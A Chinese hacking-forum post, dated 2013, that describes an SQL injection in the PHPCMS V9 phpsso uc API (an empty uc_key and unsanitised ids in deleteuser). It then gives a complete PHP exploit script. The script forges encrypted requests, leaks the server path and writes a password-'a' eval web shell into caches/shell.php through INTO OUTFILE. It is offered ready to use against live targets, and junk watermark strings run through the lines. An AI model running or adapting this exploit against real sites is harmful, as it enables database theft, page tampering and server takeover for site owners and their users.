找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1897|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。2 @0 P$ _$ L8 C4 O4 C/ ?' r$ G
+ s, N8 g' `$ N" L
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
: {* ~; F. f/ v, m+ `: W: |2 m
5 |8 f: Y9 ?4 h8 ~& R* f8 ?4 ~漏洞分析:" }5 g3 f% ~7 Q) c" T
1.未启用ucenter服务的情况下uc_key为空7 T5 ^$ F+ C1 o9 w$ n0 }1 E# i
define('UC_KEY', pc_base::load_config('system', 'uc_key'));2 H4 ^, G  B# p3 \! ~1 m* k
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。; i7 N' E( M" a& W6 c: J
    public function deleteuser($get,$post) {
5 q/ J$ J. W4 |        pc_base::load_app_func('global', 'admin');
8 b8 e  {: ?* O6 k7 y+ X% s/ m: Z        pc_base::load_app_class('messagequeue', 'admin' , 0);
: N; H5 u  `, i        $ids = new_stripslashes($get['ids']);
% u  {  I) y" w% {- v7 r        $s = $this->member_db->select("ucuserid in ($ids)", "uid");7 r4 ]9 P5 Y" c8 b+ }
SQL语句为
4 t8 W7 R% s; Z* ~* SSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)- S5 h  V& m# k. k" W4 Y/ d
0 f/ |$ e5 Z6 c" K5 Q
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell4 J# F/ x% O2 n% m1 }8 X+ g  {
<?php
, Z; ^# G3 z; `! @print_r('- Z4 ~+ ^9 W) B/ w, x! b) K
---------------------------------------------------------------------------8 y8 h& @7 A# L4 m0 G9 p% V8 E
PHPcms (v9 or Old Version) uc api sql injection 0day
/ B. g. a% g- k1 ], xby rayh4c#80sec.com$ W  y/ N: ]/ x0 b
---------------------------------------------------------------------------
& X9 x+ F/ E/ ^( R3 u8 [9 v6 G');
) S! x) K0 C8 e6 r8 L8 Z$ x( D5 e( e8 F3 h! j! A/ b$ T) Z4 `
if ($argc<3) {4 q% o2 c/ C$ M* j3 u1 U. |
    print_r('
1 S' `" w  l# ]& ~( C---------------------------------------------------------------------------
8 H, ~( Q2 b( J- b4 }9 iUsage: php '.$argv[0].' host path OPTIONS
3 G* ^. G) M! R6 V( ?host:      target server (ip/hostname)
: I. ^/ q1 y7 U- ^' F& ~* epath:      path to phpcms
- G; T9 m9 ?* I, h' ZOptions:
5 y8 K8 Z  \$ ^ -p[port]:    specify a port other than 80
+ ]% [$ p2 L0 t  ~" K8 t -P[ip:port]: specify a proxy3 Q# R1 r! z7 @: E0 t8 A5 j7 d
Example:; ]% |* Y, p# r, @* B
php '.$argv[0].' localhost /( B: _+ R5 [) q) o' T; D: X6 X* P' n
php '.$argv[0].' localhost /phpcms/ -p81; J9 @& U0 J( ^) `! Z
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80  ^& I: e" d" Z7 v: K# C
---------------------------------------------------------------------------1 b8 }: ]8 Q. W8 Q
');$ W  }' v, O- Z1 a
    die;) B3 \% a% x5 M$ ^4 d% t" ]
}
( R5 l5 q: d, s+ J+ b# F8 M' _
5 f* ?+ s, M1 k. ]; E$ x- w, Perror_reporting(7);
# F/ Q/ x6 ]; w4 e. o6 S, p; {* u) Iini_set("max_execution_time",0);$ E  o/ `2 q% i  L+ F  e
ini_set("default_socket_timeout",5);
7 h) W; [: M* \8 d
8 o% ~. ~# O1 i0 O& A8 zfunction quick_dump($string)
5 |# V, @& @, N8 P# K- q{
. {* d; H/ q5 G1 v" s9 d: r  $result='';$exa='';$cont=0;
* l9 x( W2 @/ p- ?( T2 S8 N, D  for ($i=0; $i<=strlen($string)-1; $i++); k( K* H2 V- O; A/ q
  {/ i; Q+ M3 `7 G
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
6 A% ~5 O4 {; d8 h0 Z, ?) d   {$result.="  .";}/ W! @7 p* k7 g' w; H+ d
   else" A- v9 d+ R' D/ q+ N
   {$result.="  ".$string[$i];}
8 d' Q  b: n7 P   if (strlen(dechex(ord($string[$i])))==2)0 N2 ]# ]; ], d! c* g( @
   {$exa.=" ".dechex(ord($string[$i]));}0 {! w. j5 r1 o+ U9 y' ], Q  o
   else# a% o4 g3 s- m  v$ Z! @" O# Y
   {$exa.=" 0".dechex(ord($string[$i]));}2 F: f; Q$ I0 K
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
! b4 b2 R& O+ `. f$ T9 [  }
; D& O) `( k0 s9 d return $exa."\r\n".$result;) Q) `4 k4 g) s8 d
}
. C: g' R/ e6 ?7 N  x2 w$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';8 Z( o& u8 `$ A/ c9 r) N9 L
' ^2 y5 O% n7 H$ m+ |! Q1 T( I1 j
function send($packet)
( d) I( W: Y& v' e% [{
. z: P* o+ U2 x+ ~9 i  global $proxy, $host, $port, $html, $proxy_regex;
6 s" G- c6 Z9 g3 A8 F. v  if ($proxy=='') {
; t7 l, \2 \# ^/ K    $ock=fsockopen(gethostbyname($host),$port);' |2 ^9 f' W! `% O) R1 ^, K
    if (!$ock) {1 J$ X- y" K& v9 S/ l1 D0 k3 Z8 S
      echo 'No response from '.$host.':'.$port; die;
( |  U8 q( J# G. E/ X. O5 ]" N    }0 X- B/ v* k0 G
  }/ c& J8 B9 a4 o5 Y" f9 q# e
  else {* J3 ]3 h) d+ s5 J
        $c = preg_match($proxy_regex,$proxy);
3 N; _" P9 N% w, O# H; P    if (!$c) {
0 o1 g; q1 R& c; u3 m$ X$ ^      echo 'Not a valid proxy...';die;
+ U( v& D0 f* {3 B. Z( r+ {    }
4 Q  n+ S2 i( {8 _' |1 [5 ^    $parts=explode(':',$proxy);
( C% A4 x" h; S    $parts[1]=(int)$parts[1];- v; L: _2 I( Z3 k  x' T; Z& W
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";& V! ]( g6 s+ d* ~$ J+ K
    $ock=fsockopen($parts[0],$parts[1]);
5 {$ T/ V$ k7 n( Z    if (!$ock) {) @7 w+ L8 W' F( j
      echo 'No response from proxy...';die;
5 s& q4 b7 T& e! }        }
" \" X( d. U+ C4 Y. H2 F5 k0 o  }
2 c8 T! r3 A' ~+ v1 e7 n: _  fputs($ock,$packet);& Z, a/ _- n4 e) _0 \
  if ($proxy=='') {
$ [3 y) T: C% d) F6 x$ H' x7 t. K    $html='';
8 n2 ~6 c9 z, i5 A8 b    while (!feof($ock)) {
; Q6 T. v& G0 {+ |( v2 r0 W$ s      $html.=fgets($ock);
0 s/ B: ?% R# y2 F    }
/ G2 z7 N& h3 r" K2 f% `7 `  }3 V$ Z$ |+ }$ z3 p' t' x
  else {
$ z4 k# h! g' F6 D, D    $html='';+ g1 k) x& m/ y9 E3 R1 y
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
3 i8 e! ~3 _  ]; f9 H2 V      $html.=fread($ock,1);( m* y3 G5 g/ r* ^/ @* |
    }
, |# S4 X+ _+ U( `' [  }
: A, U4 Q. U5 U& B9 v" V. B  fclose($ock);' g4 B: p4 u* Z9 J
}
& f9 V, S$ K* @& u  d
# J! \: J" I' e$host=$argv[1];
3 [4 o$ ]2 R4 U# C$path=$argv[2];( H. r6 J& Z- _" y
$port=80;5 s6 ?5 D3 T! O3 p
$proxy="";* _" S$ ^" @/ D5 P; ~$ G/ S! N* y! s
for ($i=3; $i<$argc; $i++){
( v+ |8 H& ?6 u% t  u$temp=$argv[$i][0].$argv[$i][1];% q* z8 B  d4 o6 b+ Z! j: W
if ($temp=="-p")
+ K, i4 M8 o- n  _* A" |{
$ V: f6 E+ i8 w  L3 Y  $port=(int)str_replace("-p","",$argv[$i]);
. W, J) T: g( `' l4 B/ Y: U4 R8 K; D}3 w' T3 F# y/ t1 B! w) k
if ($temp=="-P")" S1 O' I/ Q" g1 b: u5 g% A
{
) J- M! b8 k4 W! Y% O  $proxy=str_replace("-P","",$argv[$i]);/ s7 e* R" ^' J6 C6 B
}/ f6 i" V) m) v$ ?) \
}# S* {, z% C( i1 W

0 F1 |/ Y' M; t8 }7 c8 gif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
/ s$ \) I" c4 t; U# ?) V0 Zif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
4 S$ k- V. A9 j3 \; J& L
) ~  U) n3 s- T, y: E5 \" Wfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
3 ~4 V! n6 _/ a# b! R
* @/ q" }6 J/ C7 L    $ckey_length = 4;
6 N1 l" j1 {6 [. `3 P4 G5 w
9 T: @  j5 M( T    $key = md5($key ? $key : '');
: [; h  ]- D* Q5 E/ X4 q) R& b    $keya = md5(substr($key, 0, 16));
1 R3 L* f' S: g2 v. o  G    $keyb = md5(substr($key, 16, 16));
+ [( w; u, y& \4 g8 b/ u/ G    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';% G8 e! p$ v# G6 J

$ B; R! M) a! @# S2 `7 H, g0 |    $cryptkey = $keya.md5($keya.$keyc);
  k# T# G# g& N/ F( B; {    $key_length = strlen($cryptkey);
$ {* I# Q& }8 T! q7 V% B  {; Z$ K+ S( W* w, G3 O# q3 _6 q
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
0 L' s9 l3 c2 m+ O+ m    $string_length = strlen($string);" M' L. A' u; Y1 _
% v6 X1 p, M8 W3 \
    $result = '';
1 q/ A* d5 ^2 n& V' E1 S, e( ]' S4 p% z    $box = range(0, 255);/ O( S4 l. T! @3 ]

$ D" @& L  J$ ~1 B    $rndkey = array();
+ c0 w% [5 S9 k' u) `7 F4 a* {* T    for($i = 0; $i <= 255; $i++) {
* M6 I' P4 G2 R+ i        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
7 I/ H4 N' T" q% N- I. F' `    }0 |* o8 S) ?. C  Y+ j
5 \% a# z! s. A' W- P! F
    for($j = $i = 0; $i < 256; $i++) {& _: m2 d' S( H7 h2 q! _* Z
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
- @8 `% k" e; }5 d* O2 i        $tmp = $box[$i];
1 c4 H& w! }( y# P* Q5 w        $box[$i] = $box[$j];+ F2 j7 \2 r+ H8 a
        $box[$j] = $tmp;
- L  [4 ~4 T. a7 ^0 O9 t7 Q. @    }! E* Y) K/ R) ?9 m' ^" V2 G

5 X0 J' A: c2 X1 ^1 \    for($a = $j = $i = 0; $i < $string_length; $i++) {$ y: X/ C1 f0 H, L% B  B9 Q
        $a = ($a + 1) % 256;( ^% e8 ?$ |3 x  l9 B1 e
        $j = ($j + $box[$a]) % 256;; t6 H% d. e, \2 q2 K7 {
        $tmp = $box[$a];4 n, o3 ~6 j3 M8 L5 R9 \
        $box[$a] = $box[$j];  {2 W8 E7 j7 G; N& e7 _0 w8 ?
        $box[$j] = $tmp;
  n# D' M( A0 g/ b8 y        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
9 `( b6 K0 w8 x4 u- L4 _! S/ d/ [    }
& o( \, w$ P" \* x# K$ Y/ P
* S) O2 \# R8 D+ p2 M8 w  R    if($operation == 'DECODE') {
8 P6 E, y- ?/ R2 V* W0 f        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
# \" k7 |! Y( b) f            return substr($result, 26);
. R! f, x9 d, \4 \        } else {
. ]& m7 F# s# p/ e/ \7 E6 o  n            return '';" B- Z) |2 _' |& x
        }
$ C5 `8 [; z+ c# P, A6 C    } else {
+ s' G7 c$ `. {' c2 w1 K; f        return $keyc.str_replace('=', '', base64_encode($result));2 }' d0 Q, x0 L" Y
    }
6 E4 c. J& W2 y$ `, P6 q' P/ \2 Y6 m( U3 Z  R3 W  L8 t
}
1 Q7 L# v) P( H. X) p4 l% a! |( p
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";1 h2 ~% I" X( T0 @
$SQL = urlencode(authcode($SQL, "ENCODE", ""));- M5 z/ N' S. W7 y4 ?/ T; b7 ^/ X4 ~
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";' e  d7 `. O% ~- b8 Q
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";8 _$ Z) I" ?: ~) }/ [) }
$packet.="User-Agent: Mozilla/5.0\r\n";
! r5 a( b" h& _* U; b8 t/ [$packet.="Host: ".$host."\r\n";" w, m+ D) {4 a) a
$packet.="Connection: Close\r\n\r\n";
/ D; X% w8 g0 p7 Asend($packet);4 q; E3 p* _' z1 p. q+ k' z/ R0 V
if(strpos($html,"MySQL Errno") > 0){0 I4 G% R; D! i1 b! h2 n
echo "[2] 发现存在SQL注入漏洞"."\n";0 {5 o- E/ M) v% }# ~5 ?2 E% \8 \
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";7 R9 e$ b% `+ `
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";1 Z. a2 a3 M0 b  M! I! ]
$packet.="User-Agent: Mozilla/5.0\r\n";/ m( h2 E. K+ o% l7 ?4 X( ]
$packet.="Host: ".$host."\r\n";8 L  h, H0 z# b7 T
$packet.="Connection: Close\r\n\r\n";
0 M+ y6 M  z" W4 }+ X( Z& Rsend($packet);* m% B8 Z' {" J3 i
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
9 g; s$ [! d4 T' ?//print_r($matches);, g; u* I- S- P! o2 P. b' u: R
if(!empty($matches)){
8 c/ F- D2 A1 e. N2 Z- `5 cecho "[4] 得到web路径 " . $matches[0]."\n";
# G( Z; b1 f8 h! `7 _& c7 Kecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";" q# j1 e7 }2 U" c# K' }, A  @/ ^
$SQL = "time=999999999999999999999999&ids=1)";  _3 h, Q5 G5 d* y) }5 M
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
5 z0 T/ d3 M% e- }! h+ w8 w4 P$SQL.="&action=deleteuser";
. g% F7 J% e* r6 `# t1 b+ N5 \$SQL = urlencode(authcode($SQL, "ENCODE", ""));1 H$ D9 ~. M' w, v
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
" G) t* r- o7 H) Z3 |8 ~; D) V$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";  i' y+ k  c" v! I6 V
$packet.="User-Agent: Mozilla/5.0\r\n";
( A+ M7 g3 Y7 C3 x9 q3 f$packet.="Host: ".$host."\r\n";  v. g% t8 X: j& E) h- e
$packet.="Connection: Close\r\n\r\n";8 ^* P  i/ E% b7 K% f: P
send($packet);
! }* L5 u% w$ P: j8 i6 `, d, T5 H( jif(strpos($html,"Access denied") > 0){9 d3 c' p4 b  }2 [- u3 m! n
echo "[-] MYSQL权限过低 禁止写入文件 ";$ Y. ?# f+ T. t1 @6 u
die;
$ p; J% R) {2 O/ U( ^}
2 Z' ?, y' X9 i# Y" o  C; becho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
% ~- r  Y% b, v( p3 ]# x5 y6 w$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
" u# `% n) r( b/ X; x$packet.="User-Agent: Mozilla/5.0\r\n";
" o; X6 E$ L) M1 A. d& D) e# q, r6 A! m$packet.="Host: ".$host."\r\n";
+ C3 p+ E8 N1 t2 J. h$packet.="Connection: Close\r\n\r\n";
% `& J! d) O0 {( f$ L0 l" h: \, M/ asend($packet);
% h/ \9 E, |2 }  n  {2 l% pif(strpos($html,"<title>phpinfo()</title>") > 0){" f( ?- I2 v% {
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";' l& H8 W) f5 @) W6 C
}1 G( }# k  F. T' `
}else{7 b& J& Q+ t% |. M. z( l
echo "[-]未取到web路径 ";, U' _3 n1 E  L' n& i& _
}- y6 Y  o/ I: U7 U8 G
}else{$ ]$ s7 r1 Y+ Q; E' C" F, q; I# v
echo "[*]不存在SQL注入漏洞"."\n";
8 O- T7 o/ \8 @$ W1 k" @}
( a( v4 O0 s  b- v  }
% V0 H% D2 e2 j# v+ r* ?# K?>
9 \; i( ]; i! O- Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表